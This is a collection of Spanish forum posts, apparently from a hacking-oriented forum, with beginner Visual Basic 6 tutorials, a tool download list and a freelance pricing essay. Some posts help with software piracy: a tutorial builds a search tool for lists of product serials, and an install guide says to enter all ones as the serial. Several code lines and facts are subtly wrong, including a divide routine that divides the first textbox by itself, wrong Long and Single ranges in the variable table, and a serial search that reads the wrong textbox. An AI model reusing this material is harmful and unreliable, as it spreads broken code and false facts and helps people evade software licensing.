(**)Variant ocupa 16 Bytes si se trata de un numero y 22 bytes + longitud de la cadena si se trata de un dato tipo cadena de caracteres.

Los caracteres que definen cada tipo de variable son:

      %   Integer      &   Long      !   Single

      #   Double      @   Currency   $   String


PD:Como antes lo dije al no definir las variables, Visual Basic, retoma que son de tipo Variant y asi consume mas memoria que cualquiera de otro tipo.
Asi que definan las variables. :CRA:

Practica 2
Para practicar con las variables, crearemos una calculadora, le cambiaremos la propiedad BorderStyle a FixedToolWindow
Agregaremos  2 label's(1 sera para los creditos xD!!) y una picture, 2 TextBox y 4 botones.
Les cambiaremos los nombres y el caption:

CommandButton1=CmdSumar
CommandButton2=CmdRestar
CommandButton3=CmdDividir
CommandButton4=CmdMultiplicar
*(cmd=CommandButton)

Ahora la calculadora, graficamente deberia de verse asi:



Ahora vamos con el codigo:

Código: text
Private Sub CmdDividir_Click()
Dim resultado4 As Long 'Aqui estamos diciendo que la variable seria de Numeros enteros en el rango de -2147483648 a 2147483647

resultado4 = Val(Text1.Text) / Val(Text1.Text) 'val se utiliza para que pueda transformar los caracteres en numeros, por que si no ponemos lo tomaria asi si queremos sumar 8+8 nos daria 88
Label2.Caption = resultado4 'Aqui le damos la instruccion para que marque el resultado

End Sub

Private Sub CmdMultiplicar_Click()
Dim resultado3 As Integer
resultado3 = Val(Text1.Text) * Val(Text2.Text)
Label2.Caption = resultado3
End Sub




Bueno esto es toda la practica!! xD!!, pueden reproducirlo y compilarlo  :COOL:

PD:Copiar el codigo y no escribir nisiquiera una letra es de lammers xD! (De aquellos que solo usan Copy&Past), por favor, esto no es para mi, les sirve a ustedes, por eso yo me he empeñado en hacerles este curso, por que me gusta ayudar a la gente, yo no gano nada haciendo esto, pero lo hago por ustedes, mandenme por privado sus inquitudes, dudas, sugerencias, para que este curso sea cada ves mejor.
#708
Empezando a programar en Visual Basic

PRACTICA 1
Bueno esta es la primer practica lo que haremos sera crear un reloj.
Empezemos...

Sintaxis de Visual Basic:
Objeto.Propiedad=Valor

Paso 1:
Asi que para empezar crearemos un reloj, esa sera la primer practica
Agregaremos 2 label's y un timer(no es visible en tiempo de ejecucion), a estas alturas ya deben de saber cuales son las herramientas, al igual que las propiedades, le cambiaremos la propiedad BorderStyle al formulario para que solo se pueda cerrar, seria FixeToolWindow, seleccionaremos el timer y le cambiaremos el intervalo de 0 a 1(este se encuentra en la ventana de propiedades), deberia de quedarnos asi:



Ahora como ya tenemos lo que seria nuestro programa graficamente, tendremos que empezar con el codigo:

Código: text
Private Sub Timer1_Timer() 'aqui es donde empieza, este es para la propiedad del timer, como cambiamos el intervalo a 1 este no tiene que ser activado por alguna accion, estara activado, asi solo ejecutamos el programa y listo, se ejecutara automaticamente
Label1.Caption = Date 'Esto es para que la label1 tome forma de la fecha, osea que nos de la fecha
Label2.Caption = Time  'Esto es para que nos de la hora de nuestor ordenador
End Sub 'Aqui es donde todo termina


Ahora podremos ejecutar el programa(con los controles de ejecucion), veremos que funciona a la perfeccion.

Problema 1:
Solo se abre con visual basic, como le hago para que no tenga que abrir Visual Basic y solo se ejecute el programa??
Solucion:
En el menu Archivo de Visual Basic, tendran que buscar una opcion que dice
Generar Proyecto1.exe (o segun el nombre que tenga el proyecto):



Solo seleccionan esa opcion y listo, ya estara compilado el programa.
#709
Conociendo Visual Basic!!(segunda parte)

1.-Herramienta Seleccion:Esta herramienta es util, sirve para seleccionar las cosas que utilizaremos dentro del Formulario, asi como mover un boton, etc.

2.-Herramienta PictureBox:Este objeto permite presentar todo tipo de ficheros graficos (.BMP, WMF, .ICO, .CUR)
Las dimensiones del PictureBox se establecen en el diseño.

3.-Herramienta Label:Muestra la informacion, los titulos o los subti­tulos que deseemos.

4.-Herramienta TextBox:Se utiliza para el ingreso y validacion de datos o informacion.

5.-Herramienta Frame:Proporciona un agrupamiento identificable para controles. Tambien puede utilizar un Frame para subdividir un formulario funcionalmente, Ejemplo: para separar grupos de controles CheckBox.

6.-Herramienta CommandButton:Este control permite crear procedimientos para que sean ejecutados al hacer click en el.

7.-Herramienta CheckBox:Permite que se ejecute un procedimiento dependiendo de la verificacion del CheckBox.

8.-Herramienta OptionButton:Muestra una opcion que se puede activar o desactivar, tambien puede suceder algo este seleccionado o no.
9.-Herramienta ComboBox:Con ella se pueden introducir elementos para que un usuario los seleccione.

10.-Herramienta ListBox:Muestra datos o campos en
forma de lista.

11.-Herramienta HscrollBar:Esta sirve para poder colocar una scrollbar horizontal.

12.-Herramienta VscrollBar:Esta sirve para poder colocar una scrollbar  vertical.

13.-Herramienta Timer:Realiza un procedimiento en un intervalo o intervalos de tiempo determinados.

14.-Herramienta DriveListBox:Muestra un combo con la lista de unidades del ordenador

15.-Herramienta DirListBox:Muestra las carpetas del ordenador.

16.-Herramienta FileListBox:Muestra los archivos del ordenador.

17.-Herramienta Shape:Esta herramienta solo seria un "adorno", solo sirve para mostrar Grafico.Ejemplo: Un rectangulo, Un circulo, etc.

18.-Herramienta Line:Line, al igual que Shape, es un control grafico que solamente sirve para poner una li­nea en un formulario.

19.-Herramienta Image:El control Image utiliza menos recursos del sistema y repinta con mas rapidez que un control PictureBox, pero solo admite una parte de las propiedades, los eventos y los metodos de PictureBox.

20.-Herramienta Data:Sirve de enlace entre la base de datos y los controles que pueden presentar datos.

21.-Herramienta Ole:Esta herramienta permite enlazar un programa de VB con el que nosotros creamos.
#710
Conociendo Visual Basic!!



1.-Nuevo Proyecto:Aqui nosotros seleccionaremos con que es con lo que queremos trabajar, si con un .exe, si queremos crear una DLL, o un control ActiveX, pero nosotros en este curso, al parecer solo ocuparemos los .exe.
Seleccionamos un exe estandar y veremos la siguiente pantalla:



1.-Ejecucion:Esta herramienta nos sirve para poder reproducir nuestor programa, para darle una previsualizacion, al igual para revisar que a la hora de ejecucion no vaya mostrar algun error.

2.-Formulario:El formulario es el programa que se estara creando osea la ventana hay tendran que desarrolar la interfaz grafica del programa; osea pueden agregar botones, etc segun de lo que se vaya a tratar el programa que crearan.

3.-Herramientas:Estas son herramientas del desarrollo de el programa en los cuales encontraran botones, label's, etc.

4.-Propiedades:Estas son las propiedades, son importantes segun la *seleccion que tengan se mostraran las propiedades.
*osea que si tienen seleccionado el formulario, les mostrara las propiedades del formulario.Ejemplo:
Para que puedan cambiar el titulo del programa, la forma de la ventana, si se puede minimizar o no, etc.
O si tienen seleccionado un boton,les muestre las propiedades de este, etc.Ejemplo:
De que color sera el boton, como se llamara, que dira el boton, etc.
#711
CURSO DE VISUAL BASIC!!

Hola este es un curso con el cual podras aprender visual basic, sin ningun problema, debido a que es demasiado dinamico y facil de entender, con capturas de cada practica para que no queden dudas.

Que es Visual Basic?
B.A.S.I.C : Beginners All-purpose Symbolic Instruction Code: Codigo de instrucciones de uso universal para principiantes.
Visual basic es un lenguaje de programacion orientado a objetos.

Que rayos es la programacion orientada a objetos??
La programacion orientada a objetos se basa en un objeto, que es una combinacion de variables locales y procedimientos llamados metodos que todos forman una agrupacion.

Seria bueno comenzar con visual basic, debido a que no conozco otro lenguaje?
No te puedo responder muy bien esta pregunta, pero creo que te dare unos puntos importantes que creo que deberias de tomar en cuenta:

1.-Creo que si tu enfoque de programacion va relacionado al hacking, deberias de empezar con otros lenguajes como: Python, Perl, HTML(para el deface), pero deben de ser lenguajes que no solo se cierren en windows, como C o C++ que estos lenguajes puedes aprender otros lenguajes mas facilmente debido a que son complejos xD, es que visual basic aveces te crea malos habitos por depender de OCX, etc para darle mayor vista a tu programa, lo digo por experiencia, en un tiempo lo deberas de aprender.

2.-Si lo que quieres es solo desarrolar software,que ni siquiera sabes que es el hacking, deberias de empezar con visual basic es tu eleccion.

Y si ya conozco Phyton ,HTML los lenguajes mas faciles ,crees que deberia de comenzar con visual basic?
De nuevo creo que no te puedo responder, por que si ya los conoces y no los dominas, creo que probar otro lenguaje haria que los que conoces no los recuerdes y tengas que empezar de nuevo,seria tiempo desperdiciado, lo digo por experiencia yo empeze a programar con batch que en si no es un lenguaje de programacion si no un lenguaje que se trabaja por lotes, etc; No lo termine de aprender y lo que paso fue que lo tengo que volver a repasar,ahora incluso estoy tomando un curso desde cero debido a eso.
PD:18/04/2009

Que necesito para empezar con visual basic?
Primero descargate el Visual Studio de aqui (portable que compila) :

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

en ingles... (gracias Eddy.)
#712
Visual Basic / Variables limites y tipos
Enero 26, 2013, 03:04:04 AM
esta es la tabla de clasificacion de las variables de vb

Tipo               tamaño              rango

Código: text
Byte               1 byte                0 a 255
Integer           2 bytes               -32768 a 32767
Long               4 Bytes              -2147 a 2147483647
single             4 bytes               -3,042823E38 a 3,042823E38
Double            8 bytes              -1,79769313486232 a 1,79769313486232
currency          8 bytes              -922337203685477,5808 a 922337203685477,5808
String              1 byte por caracter   0 a 65.535 caracteres
object             4 bytes                   cualquier tipo de objeto
boolean           2 bytes                  true o false
date                8 bytes                  1/1/100 a 31/12/9999
variant(con num)16 bytes               cualquier tipo de dato numerico
variant (con car)22 byte + 1 byte/car cualquier tipo de dato


salu2
#713
Visual Basic / Tuto, crear un buscador de seriales
Enero 26, 2013, 03:03:30 AM
¿como crear un buscador de seriales?

1) necesitamos un archivo txt con un monton de seriales, como por ejemplo este que es mío: seriales.txt

2) le cambiaremos el nombre por You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y lo meteremos en la carpeta que tendremos nuestro proyecto :D

3) creamos un nuevo proyecto de vb6 (un exe)

agregamos un label en el que pondremos "ingrese el nombre de la aplicación" y un textbox al lado donde la persona ingresará el nombre del programa al que quiere buscar el serial. luego un command button en donde ingresaremos de caption "buscar"

abajo pondremos un listbox donde quedará la lista de los seriales encontrados.

4) crearemos un modulo bas. (ingresaremos la funciones)

en el modulo bas pondremos esto:

Código: text
'#########################
'#  Modulo Especial para el tutorial   #
'#   Del buscador de seriales           #
'#########################
option explicit
dim seriales as string

public function abrir_seriales() 'esta será la funcion para abrir la lista de seriales
    Open app.path & "\data.srl" For Input As #1
        seriales = Input(LOF(1), #1)
    Close #1
end function

public function buscar(byval lista as listbox, palabra as string) 'funcion que buscará los seriales
Dim t() As String
Dim linea As String
dim response as string
t = Split(Text1.Text, vbCrLf)
For cuenta = 0 To UBound(t)
linea = t(cuenta)
response = instr(1,linea,palabra,vbtextcompare)
if response <> 0 then
lista.additem linea
end if
Next cuenta
end function

public function separate(byval index as integer, texto as string) 'separamos y devolvemos las palabras utilizando un index
dim alex, ins1, ins2 as integer
for alex=1 to index
ins2= instr(ins1,texto," ",vbtextcompare)
separate= mid(texto,ins1,ins2-ins1)
ins1= instr(ins2,texto," ",vbtextcompare)
next alex
end function

public function wath_index(byval texto as string) 'devuelve la cantidad de indexes en el texto
dim alex as integer
alex = 1
dim contador as integer
dim yn as boolean
do while yn <> true
alex = instr(alex,texto," ",vbtextcompare)
if alex <> 0 then
contador = contador + 1
else
yn=true
end if
loop
wath_index=contador
end function


de que nos sirve esto? pues piensen, con la funcion abrir_seriales se guardan todos los seriales en memoria para luego buscarlos. con la funcion wath_index devuelve la cantidad de palabras que hay en lo que el usuario ingresa para buscar. con separate devuelve la palabra que le indiquemos en el texto que ingresa el usuario. si le ponemos

Código: text
separate 1,text1.text


sacará la primer palabra del text1 podríamos separar cada una de las palabras y realizar una busqueda con la funcion buscar, para que busque cada palabra en la lista de seriales, y devuelva el serial correspondiente a esa palabra.

lindo modulo no? pues con eso ya tendríamos hecho todo el code, pero no se los terminaré, terminenlo ustedes, para algo tienen el bocho :D las funciones estan explicadas en el texto anterior.
#714
bueno este es uno de los codes muy buenos que tiene leandro Ascierto.

Código: vb
Option Explicit
'Autor: Leandro Ascierto
'Web:   www.leandroascierto .com.ar
'Date:  28/12/2009
Private Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Private Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Private Declare Function CreateWindowEx Lib "user32.dll" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32.dll" (ByVal hwnd As Long) As Long
Private Declare Function SetProp Lib "user32.dll" Alias "SetPropA" (ByVal hwnd As Long, ByVal lpString As String, ByVal hData As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Sub FatalExit Lib "kernel32" (ByVal code As Long)

Dim hWinStatic As Long
Dim AppPath As String
Dim LastError As Long

Private Function CallSomeFunction()
    'No borrar esta linea
End Function

Public Sub StarProtect()
    hWinStatic = CreateWindowEx(0, "Static", "WindowControlerCras h", 0, 0, 0, 0, 0, 0, 0, 0, 0&)
    AppPath = GetAppPath
    SetTimer hWinStatic, 0, 100, AddressOf TimerProc
End Sub

Public Sub EndProtect()
    KillTimer hWinStatic, 0
    DestroyWindow hWinStatic
End Sub

Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
    Dim Ret As String
   
    If Err.Number = 40040 Then
        ShellExecute hWinStatic, vbNullString, AppPath, LastError, vbNullString, 1
        FatalExit 1
    Else
        LastError = Err.Number
        Ret = CallSomeFunction
    End If
   
End Sub

Private Function GetAppPath() As String
    Dim ModuleName As String
    Dim Ret As Long
    ModuleName = String$(255, Chr$(0))
    Ret = GetModuleFileName(App.hInstance, ModuleName, 255)
    GetAppPath = Left$(ModuleName, Ret)
End Function


Para probarlo en un formulario con Tres botones

Código: vb
Option Explicit

Private Sub Form_Load()
    If Command$ <> "" Then Me.Caption = "Aplicación Reinciada por error: " & Command$
    StarProtect 'comienza la protección
End Sub

Private Sub Form_Unload(Cancel As Integer)
    EndProtect 'Detiene la protección
End Sub


Private Sub Command1_Click()
    MsgBox 1 / 0 'Error Divición por cero
End Sub

Private Sub Command2_Click()
    Dim i As Integer
    i = 8000000000000# 'Error Desvordamiento
End Sub

Private Sub Command3_Click()
    Dim c As Date
    c = "hola" 'Error no coinciden los tipos
End Sub



Lo compilan y verán que al producir un error la aplicacion se reinicia.

Fuente: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

saludos, espero que les sirva.
#715
Bueno, hace rato iba a hacer esta pequeña explicación pero siempre me olvido xD. Cuando quise instalar el Visual studio 6 / VB6 en Windows 7 tuve un pequeño problema respecto a la compatibilidad y al intentar esto se me solucionó. No quiere decir que corrija todos los problemas, pero éste es el más común. Sólo tienen que seguir éstos pocos pasos...

    * Una vez que se descarguen el VS, crean una carpeta en su disco (Vb6 por ejemplo) y luego abren ya sea el zip, rar, iso; descomprimiendo todo su contenido en la carpeta creada. Entonces, nos quedaría (por ejemplo) C:/Archivos de Programa/Vb6.
    * Copiamos el contenido de la carpeta SETUP de dicho directorio (C:/Archivos de Programa/Vb6/SETUP) entero (tienen que ser al rededor de 17 archivos), y los pegamos todos en la carpeta inicial (C:/Archivos de Programa/Vb6).
    * Ahora debemos ver si lo que instalamos es el Visual basic 6, o el Visual Studio 6 (entero).
      +En caso de ser el Vb6, buscamos en el directorio inicial el archivo: vb98ent.stf y le cambiamos el nombre a acmsetup.stf;
      +En cambio, en caso de ser el VS6, buscamos en el directorio inicial el archivo: vs98ent.stf (cambiándole también el nombre por acmsetup.stf).
    * Listo! Ahora en C:/Archivos de Programa/vb6 tienen que ejecutar acmsetup.exe y se supone que la instalación debe completarse correctamente.


Otros datos

+ Es bien sabido (pero por las dudas lo aclaro): durante la intalación, cuande les pida el serial, rellenar con unos (111111111111...) y continuar;
+Recuerden que el instalador debe ser 64 bit, no 32! (Si lo harán en W7 64 bits).


Saludos, espero que les haya servido de ayuda. Yo tuve el mismo error y lo sulucioné así Smiley
Hasta luego!




este post es de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login de CPH

saludos!
#716
Visual Basic / Herramientas y utilidades para VB6
Enero 26, 2013, 03:00:34 AM
En este tema se van a postear herramientas y utilidades para Visual Basic 6.
(todos estan invitados a compartir)




You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Microsoft Visual Studio 6 es una suite de desarrollo lanzada al mercado por Microsoft en el año 1998. Esta suite ofrecia la posibilidad de crear programas de manera Visual. Esta versión fue la base de desarrollo de Microsoft durante cuatro años, mientras se realizaba la transición a .NET Framework.

Incluye:

  • Visual Basic 6.0
  • Visual C++ 6.0
  • Visual FoxPro 6.0
  • Visual J++  6.0
  • Visual InterDev 6.0

* El instalador permite continuar con la instalacion en sistemas x64 sin que el usuario modifique ningun archivo. Tambien incluye el add-in MouseWheel para el IDE de Visual Basic 6.
Descargar via MediaFire: Microsoft Visual Studio 6.0 Profesional (134.61 MB)




You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Archivos que necesitan todas las aplicaciones creadas con Visual Basic 6.0 y Visual Basic 5.0 para poder ejecutarse.

Descargar: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Descargar: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login




You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Esta es una aplicación con una colección de cientos de ejemplos utilizando el API de Windows para Visual Basic 6.0, y en menor cantidad para Visual Basic .NET.
Una herramienta casi indispensable para programar en VB6.

Descargar: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login




You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
El Api Viewer 2004 es un visor de funciones API (constantes, estructuras, etc..) no te puede faltar!!!.

Descargar: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login




You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Un Editor de recursos Free. No es el mejor de todos, pero si mejor que el de Visual Basic.

Descargar: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login




You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Editor de iconos muy bueno y Free, soporta todos los formatos de iconos.

Descargar:You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login




You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Exelente herramienta para aprender a crear ventanas y como manejarlas con las APIs, contiene 26 tipos de ventanas como ser ListView(SysListView32), Toolbar(ToolbarWindow32), HotKey(msctls_hotkey32) entre otras.

Descargar: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login




You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Editor Hexadecimal de Archivos, Discos y RAM, muy bueno y util, si no me equivoco no nesecita instalación.

Descargar: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login




You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Accesorio para Visual Basic 6.0 que permite utilizar el scroll del mouse en el IDE.

Descargar: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login




You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Se trata de un You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, programa para capturar el tráfico de datos en una red con conexion TCP o UDP, con esta herramienta podrán saber dónde conecta un programa, los datos que este transmite o recibe, o controlar qué pasa en tu pc, por qué tu conexion a internet esta lenta y si algún troyanito está poniendo lenta tu velocidad. No requiere instalación.

Descargar: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login




You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Conjunto de controles ActiveX que haran lucir un aspecto mejorado a nuestras aplicaciones. Entre estos controles, se encuentra el skiner de formularios, el control ribbon, etc.

Descargar via MediaFire: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login




You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Es una pagina web donde podes convertir Online archivos de formato ICO a formato PNG y viceversa, cuando convierte de .png a .ico crea un grupo de iconos con el tamaño orginal del .png hasta iconos de 16x16, Ojo los iconos son de 32 bits no podes usarlos directamente en VB6, tenes que usar los metodos que muestra en nuestra pagina.




You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
API Monitor es un software que monitoriza y muestra llamadas API realizadas por las aplicaciones, estas pueden filtradas en función de su categoría,filtrar los procesos para seleccionar cuales se deben supervisar, echarle un vistaso a la web para ver todas sus funcionalidades.

Descargar: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login




You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
MZ-Tools tiene un solo objetivo: hacer su vida diaria más fácil la programación.
MZ-Tools te permite escribir el código, encontrar el código, el diseño de sus formularios, documento de las aplicaciones, y revisar su calidad mucho más rápido que lo hace hoy en día. Esto le ahorra valioso tiempo cada vez que lo utilice.

Descargar: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login




You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
AxTools CodeSMART is an add-in for Microsoft Visual Basic that provides a rich set of tools and utilities, extending and enhancing the development environment. The tools that are included with CodeSMART are mainly focused on gaining productivity through various phases of application development like code writing, interface design to work distribution and progress tracking, code refinement, error recovery etc.

Descargar: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login




You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Recursos Hacker es una utilidad gratuita para ver, modificar, renombrar, añadir, eliminar y extraer recursos ejecutables de Windows de 32 bits en los archivos de recursos (*. res). Incorpora una secuencia de comandos de compilador de recursos internos y decompiler y funciona en Win95, Win98, WinME, WinNT, Win2000 y WinXP sistemas operativos.

La versión 3.5.2 Beta de Resource Hacker soporta ejecutable de Windows de 64 bits, también muestra imagenes PNG de recursos.

Descargar: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Descargar: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login




You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Nullsoft Install System o NSIS es uno de los mejores sistemas para crear instaladores de tus programas (los clásicos setup de las aplicaciones).
Es el favorito de muchos usuarios por su rapidez y excelente resultado, siendo utilizado por programas de la talla de RegCleaner o Winamp.

Descargar: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Descargar: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login




You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
En muchas ocasiones utilizamos Debug.Print para ir siguiendo el comportamiento o buscar un error de nuestros proyectos, funciones, subrutinas etc. Pero esto es solo valido en el IDE de Visual Basic, si nuestro proyecto esta compilado ya no podemos ir debugeando el ejecutable, TheBug es una aplicación realizada por Cobein la cual nos permite realizar este trabajo con la ayuda del Api OutputDebugString, junto a la descarga van a encontrar la aplicación, su código de fuente y un ejemplo de como utilizarla.

Descargar: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login




Post original by You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login en You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#717
Otros lenguajes / Cotiza tus programas
Enero 26, 2013, 02:59:37 AM
Este escrito es mas que nada orientado a los Freelance en vez de las personas con sueldo y horario fijo, aunque quizá también pudiera servir ya que detectarían que no están siendo bien pagados.

Siempre salta la pregunta ¿Cuanto cobrar? y pienso que allí no tenemos una respuesta definitiva por que las variables son tantísimas, es muy subjetivo y poco efectivo tratarlo desde esa óptica, ya que tiene que ver con la oportunidad (no oportunismo), con el conocimiento, con la envergadura del proyecto, y todo esto no es posible medirlo y poder sacar de allí una generalización.
Para poner un ejemplo, tengo un colega que por un trabajo X que el hizo en algo de 140 horas y que yo hubiera tardado lo mismo con la misma calidad, yo hubiera cobrado bien unos 1,400 USD, pero el cobró 4,500 USD y se la pagaron ¿porque?, si las condiciones de calidad de trabajo y tiempo eran las mismas. ¿acaso sera por su frondosa cabellera? pues no, es porque la empresa contratante tiene "confianza con el", el les "vende" el concepto de garantía sobre el trabajo de una manera particular (1era semana 24horas), el "conoce" al dedillo las reglas de negocio de esa empresa, se lleva muy bien con la gente de la empresa, etc.

Entonces, lo que yo considero por sobre todo es el precio en relación directa al tiempo.
Al nacer en el mundo laboral empezamos con un precio por hora que tenemos que detectar y con el tiempo lo que debemos lograr es hacer que nuestra hora se cotice mas. Si hacemos las cosas bien, si somos pragmáticos y generamos buenas relaciones con los clientes nuestro costo por hora debe subir porque sencillamente nos hacemos mas preciados, valemos mas y eso es lo que hay que lograr al final: Que nuestro costo por hora sea el mas alto que podamos lograr.

Entonces, para alguien que recién empieza debe fijar primero su costo por hora sin aderezos, sin variables que afecten ese precio, fijar una base. Probemos con supuestos.

Supongamos que acabo de terminar de estudiar programación, he hecho mis practicas y realmente la rompo, conozco de base de datos, algo de contabilidad, etc. Asi que mi precio mínimo es de 5 USD la hora (ajustenlo a su pais), porque con 5 USD cubro mis necesidades básicas. Es un precio bajo pero es para alguien que recién empieza, yo empece con ese valor.

Ahora uno debe fijarse una meta, por ejemplo que al final del año debo lograr estar en $8.00 por hora. Si somos mas efectivos y las oportunidades se dan entonces pudiera sobrepasar ese valor.

¿Que hace que suba mi costo por hora?
1.- Pues en principio adquirir experiencia, ya que haciendo bien las cosas me tardo 5 horas en hacer algo que un nuevo desarrollador se tardaría 20 horas.
Alguna vez un cliente me dijo: "Porque me cobras 14 USD la hora y esta otra persona me cobra 6 USD". Y le dije: "Ud no esta haciendo bien las comparaciones, con el Ud. se arriesga ya que el no conoce su negocio, ya que el no tiene experiencia, si Ud es una persona arriesgada, tómelo, contrátelo, pudiera ser muy bueno, Ud. se la juega, conmigo no hay riesgos su inversión esta segura,  etc etc" obviamente el marketing entra a tallar pero no le mentí, realce mis puntos fuertes y realce los puntos débiles del otro en relación a el y sin que pareciera un ataque al colega.

2.- Conocer, estar o crearse un nicho y tratar de detectar las fallas de la competencia, en mi caso mi nicho ha sido los software administrativos con una particularidad que no voy a revelar (obvio) y la competencia fallaba mucho en la post-venta, abandonaba al cliente.

3.- Lograr que el cliente sea siempre un referente util, como alguien dijo "forma tu tribu", tu cliente tiene que ser tu hincha, y eso hara que sea mas preciado y poder capitalizar eso monetariamente que es lo que al final nos interesa.

4.- No llevarse mal con ningún cliente, es regla, incluso si algo incomoda al cliente debemos checar que tanto impacto negativo tendría ese cliente en relación a los demás e ir cediendo a nuestro costo para controlar o evitar ese impacto.

5.- Siempre enseñar, educar al cliente, pero en su "idioma", no en nuestros tecnicismos. Eso hará que el cliente te vea como un Consultor y confié y crea en ti.

6.- Siempre lograr resolver el problema y no crear problemas.

Una anecdota:
Un cliente una vez me dijo: "Tu estabas cobrándome antes 10 USD, y ahora me cobras 17 USD, porque? con todo respeto pero acaso es por el hecho de que estas casado y tienes un hijo que me tienes que cobrar mas?", bueno, los clientes siempre pierden la razón jaja. Menos mal ya estaba preparado para esto  porque sino la cólera me hubiera atrapado, le dije: "Entre nos, y sabes que no hay secretos tu el año pasado tenias de capital a ojo de buen cubero unos 100,000 USD, este año tienes casi 350,000 USD ¿porque? - me dijo: "Pues porque trabajo mas, consigo mejores precios ya que importo directamente, tengo mas clientes etc etc". Siguió hablando y al final con una sonrisa se dio cuenta que mi mercadería esta en mi cabeza, que mis relaciones son cada vez mejores y mas fuertes y que mi experiencia se ha incrementado, termine diciéndole: "no pretenderás que cobre los mismo 10 USD por hora toooda mi vida, si fuera asi tenlo por seguro que cambio de negocio en el acto, porque sino puedo hacer que mi valor por hora suba es que estoy en el negocio equivocado".

Entonces al final podre determinar mi precio final así: (quizá se me pase algo, no soy un motivador y escribo con entusiasmo y al vuelo, esta formula puede ser alimentada con sus opiniones)

CostoBasico + Experiencia + Oportunidad + Efectividad + Relación + Coyuntura = PrecioFinal x hora

Si el proyecto me toma 50 horas, solo tendría que hacer una multiplicación sencilla por mi costo por hora vigente y listo, sale el precio.

Claro que siempre esta el negociar algo para que el cliente tenga un descuento, puede ser paquete de horas contratadas, mas horas me contratas te bajo una rayita el costo, o lo pueden descontar del total final pero siempre con calculadora en mano para que cuando hagan la división no resulte el costo por hora mucho menor de lo que habían pensado. En lo personal yo negocio publicidad en sus locales por 6 meses o un año, negocio la forma de pago, etc.

Espero a alguien le sirva estas palabras que las solté sin mayor tramite y con "tiempo pagado" jeje.

Un abrazo ;-)

Conviértete en una persona valiosa




agradezco a YvanB que fue el autor de este post, me gusto la idea, y que todos podamos cobrar nuestras aplicaciones, es un buen post por eso lo copie, y no quize editar nada por respeto a la calidad del post. extraido de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#718
Códigos Fuentes / HostEditModule by alexander1712
Enero 26, 2013, 02:58:38 AM
